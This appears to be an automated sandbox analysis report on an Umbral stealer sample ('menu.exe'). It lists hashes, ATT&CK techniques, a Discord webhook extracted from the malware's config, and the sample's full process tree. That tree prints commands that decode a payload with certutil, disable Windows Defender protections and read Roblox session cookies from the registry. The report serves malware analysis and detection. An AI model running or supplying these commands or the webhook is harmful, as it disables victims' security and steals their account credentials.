umbral | 1d27b8e069a17744560a4e66050ab43938b1b9b61770854c0becf7bbb39ba546

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-02-2025 20:56

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General

Target

menu.exe
Size

429KB
MD5

d26a02891c33b040f2452d54f579ad48
SHA1

31804768215d8c61ab46d146d47daf87bd67a748
SHA256

1d27b8e069a17744560a4e66050ab43938b1b9b61770854c0becf7bbb39ba546
SHA512

0373fc38527e78164937de7b957d8cb952b03a463c6c6445df294963d9949ac4002f947f0f9cb10d8c054825b1131c250ae7582c9be296afcf5e872eed29a417
SSDEEP

6144:yBlkZvaF4NTBtcfBpUwnEPU8QJRtIHYqmuEU2Go56ACLSaC3mWN9Lg00oQBQDsLy:yoSWNT/m3vneuWHPc6ACmJmKJ0oQWgUr

Score

10^/10

umbral defense_evasion discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1337245285906124970/bZ3_ZvAOrPXKKkOLcSzaJTktgaHlH_MDlk4vp0EAIhEj0fgz1GQSR4nw4WAiOieBnrr-

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000016ce7-6.dat	family_umbral
behavioral1/memory/2428-9-0x0000000000D10000-0x0000000000D50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe
268	powershell.exe
1680	powershell.exe
2080	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2428	embedded.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
264	certutil.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	menu.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2320	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2940	powershell.exe
268	powershell.exe
1680	powershell.exe
1196	powershell.exe
2080	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	embedded.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	268	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2840	wmic.exe
Token: SeSecurityPrivilege	2840	wmic.exe
Token: SeTakeOwnershipPrivilege	2840	wmic.exe
Token: SeLoadDriverPrivilege	2840	wmic.exe
Token: SeSystemProfilePrivilege	2840	wmic.exe
Token: SeSystemtimePrivilege	2840	wmic.exe
Token: SeProfSingleProcessPrivilege	2840	wmic.exe
Token: SeIncBasePriorityPrivilege	2840	wmic.exe
Token: SeCreatePagefilePrivilege	2840	wmic.exe
Token: SeBackupPrivilege	2840	wmic.exe
Token: SeRestorePrivilege	2840	wmic.exe
Token: SeShutdownPrivilege	2840	wmic.exe
Token: SeDebugPrivilege	2840	wmic.exe
Token: SeSystemEnvironmentPrivilege	2840	wmic.exe
Token: SeRemoteShutdownPrivilege	2840	wmic.exe
Token: SeUndockPrivilege	2840	wmic.exe
Token: SeManageVolumePrivilege	2840	wmic.exe
Token: 33	2840	wmic.exe
Token: 34	2840	wmic.exe
Token: 35	2840	wmic.exe
Token: SeIncreaseQuotaPrivilege	2840	wmic.exe
Token: SeSecurityPrivilege	2840	wmic.exe
Token: SeTakeOwnershipPrivilege	2840	wmic.exe
Token: SeLoadDriverPrivilege	2840	wmic.exe
Token: SeSystemProfilePrivilege	2840	wmic.exe
Token: SeSystemtimePrivilege	2840	wmic.exe
Token: SeProfSingleProcessPrivilege	2840	wmic.exe
Token: SeIncBasePriorityPrivilege	2840	wmic.exe
Token: SeCreatePagefilePrivilege	2840	wmic.exe
Token: SeBackupPrivilege	2840	wmic.exe
Token: SeRestorePrivilege	2840	wmic.exe
Token: SeShutdownPrivilege	2840	wmic.exe
Token: SeDebugPrivilege	2840	wmic.exe
Token: SeSystemEnvironmentPrivilege	2840	wmic.exe
Token: SeRemoteShutdownPrivilege	2840	wmic.exe
Token: SeUndockPrivilege	2840	wmic.exe
Token: SeManageVolumePrivilege	2840	wmic.exe
Token: 33	2840	wmic.exe
Token: 34	2840	wmic.exe
Token: 35	2840	wmic.exe
Token: SeIncreaseQuotaPrivilege	1260	wmic.exe
Token: SeSecurityPrivilege	1260	wmic.exe
Token: SeTakeOwnershipPrivilege	1260	wmic.exe
Token: SeLoadDriverPrivilege	1260	wmic.exe
Token: SeSystemProfilePrivilege	1260	wmic.exe
Token: SeSystemtimePrivilege	1260	wmic.exe
Token: SeProfSingleProcessPrivilege	1260	wmic.exe
Token: SeIncBasePriorityPrivilege	1260	wmic.exe
Token: SeCreatePagefilePrivilege	1260	wmic.exe
Token: SeBackupPrivilege	1260	wmic.exe
Token: SeRestorePrivilege	1260	wmic.exe
Token: SeShutdownPrivilege	1260	wmic.exe
Token: SeDebugPrivilege	1260	wmic.exe
Token: SeSystemEnvironmentPrivilege	1260	wmic.exe
Token: SeRemoteShutdownPrivilege	1260	wmic.exe
Token: SeUndockPrivilege	1260	wmic.exe
Token: SeManageVolumePrivilege	1260	wmic.exe
Token: 33	1260	wmic.exe
Token: 34	1260	wmic.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 2924	2092	menu.exe	31
PID 2092 wrote to memory of 2924	2092	menu.exe	31
PID 2092 wrote to memory of 2924	2092	menu.exe	31
PID 2092 wrote to memory of 2924	2092	menu.exe	31
PID 2924 wrote to memory of 264	2924	cmd.exe	33
PID 2924 wrote to memory of 264	2924	cmd.exe	33
PID 2924 wrote to memory of 264	2924	cmd.exe	33
PID 2924 wrote to memory of 2428	2924	cmd.exe	34
PID 2924 wrote to memory of 2428	2924	cmd.exe	34
PID 2924 wrote to memory of 2428	2924	cmd.exe	34
PID 2428 wrote to memory of 2940	2428	embedded.exe	35
PID 2428 wrote to memory of 2940	2428	embedded.exe	35
PID 2428 wrote to memory of 2940	2428	embedded.exe	35
PID 2428 wrote to memory of 268	2428	embedded.exe	37
PID 2428 wrote to memory of 268	2428	embedded.exe	37
PID 2428 wrote to memory of 268	2428	embedded.exe	37
PID 2428 wrote to memory of 1680	2428	embedded.exe	39
PID 2428 wrote to memory of 1680	2428	embedded.exe	39
PID 2428 wrote to memory of 1680	2428	embedded.exe	39
PID 2428 wrote to memory of 1196	2428	embedded.exe	41
PID 2428 wrote to memory of 1196	2428	embedded.exe	41
PID 2428 wrote to memory of 1196	2428	embedded.exe	41
PID 2428 wrote to memory of 2840	2428	embedded.exe	43
PID 2428 wrote to memory of 2840	2428	embedded.exe	43
PID 2428 wrote to memory of 2840	2428	embedded.exe	43
PID 2428 wrote to memory of 1260	2428	embedded.exe	46
PID 2428 wrote to memory of 1260	2428	embedded.exe	46
PID 2428 wrote to memory of 1260	2428	embedded.exe	46
PID 2428 wrote to memory of 408	2428	embedded.exe	48
PID 2428 wrote to memory of 408	2428	embedded.exe	48
PID 2428 wrote to memory of 408	2428	embedded.exe	48
PID 2428 wrote to memory of 2080	2428	embedded.exe	50
PID 2428 wrote to memory of 2080	2428	embedded.exe	50
PID 2428 wrote to memory of 2080	2428	embedded.exe	50
PID 2428 wrote to memory of 2320	2428	embedded.exe	52
PID 2428 wrote to memory of 2320	2428	embedded.exe	52
PID 2428 wrote to memory of 2320	2428	embedded.exe	52

C:\Users\Admin\AppData\Local\Temp\menu.exe
"C:\Users\Admin\AppData\Local\Temp\menu.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C909.tmp\C90A.tmp\C90B.bat C:\Users\Admin\AppData\Local\Temp\menu.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\certutil.exe
    certutil -decode "C:\Users\Admin\AppData\Local\Temp\embedded.b64" "C:\Users\Admin\AppData\Local\Temp\embedded.exe"
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:264
- - C:\Users\Admin\AppData\Local\Temp\embedded.exe
    "C:\Users\Admin\AppData\Local\Temp\embedded.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\embedded.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1196
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2840
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1260
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2080
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\C909.tmp\C90A.tmp\C90B.bat

Filesize
340KB

MD5
7ea8a4af7da6d665fd522b3e7b984dfd

SHA1
f423bddceac525aa1b6ed85990159621294ecbe4

SHA256
7f3c3a67e583cdfa80dd5028c6cd411f409d68d8475adc8413478bd9985fab91

SHA512
d26e6f1e9b4d23c01e3d22f623dac5574f1c701e5e3195010cba076aecada072e5ca9f88584218aaaac5f8f16238c4b5c0258a34837bbacbe57411fa0fd67f6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\embedded.b64

Filesize
312KB

MD5
f2bf8991b132ba68ab1ef66511589256

SHA1
73c02b189629d2bb34b3c1a19b1e4187d08fea78

SHA256
8f23b22c8983803af707cded52c8cbc48c2b48219a59f5669ddb1e21c665dbd9

SHA512
3e5ac527ef4863d1c7275b6673c26c59364966b9dd534265844b2794515e0a34f8db7851f3146b4c5337327b1244584bcfdc4c7af51291ce22d5b1a1141dc666

Download Submit
C:\Users\Admin\AppData\Local\Temp\embedded.exe

Filesize
229KB

MD5
a3e9f416fa72d1dbd6d3927815899474

SHA1
0fc85c7dc7d5174c3d4e3beeaaaabfe10aa1cb6e

SHA256
c71e662398dddc8f743382970001c64786af9b5da038fa1df2a0b2bffb0294b0

SHA512
d53163d833db1edc0fc3be5f5ec9f4f83fb96b012c79a0c64171d5ec8c15d63bb7235fa57a0ecef4cb423abcc4f3b9f6cd36121cae71661aae7ce0b0a2907c28

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
57e7a1a7c57ae85d6a9df9b0a18ccf83

SHA1
87d6124ef89138570434623fd1256be37ccb36aa

SHA256
7076fc97b8c48c3191d937ebe6c168fb47481afbe65d68f28b595f50737779c0

SHA512
446cae60db0a403476044a0dcb473684ef8d9705f5eba490d18cfdcaa2f7f18b55747bcdfda7ade2afcab609557a41c3bd4573e2a54db04be1d17eb12886dde1

Download Submit
memory/268-25-0x0000000002A60000-0x0000000002A68000-memory.dmp

Filesize
32KB

Download
memory/268-24-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2428-11-0x000007FEF5C73000-0x000007FEF5C74000-memory.dmp

Filesize
4KB

Download
memory/2428-12-0x000007FEF5C70000-0x000007FEF665C000-memory.dmp

Filesize
9.9MB

Download
memory/2428-10-0x000007FEF5C70000-0x000007FEF665C000-memory.dmp

Filesize
9.9MB

Download
memory/2428-9-0x0000000000D10000-0x0000000000D50000-memory.dmp

Filesize
256KB

Download
memory/2428-8-0x000007FEF5C73000-0x000007FEF5C74000-memory.dmp

Filesize
4KB

Download
memory/2428-55-0x000007FEF5C70000-0x000007FEF665C000-memory.dmp

Filesize
9.9MB

Download
memory/2940-17-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2940-18-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download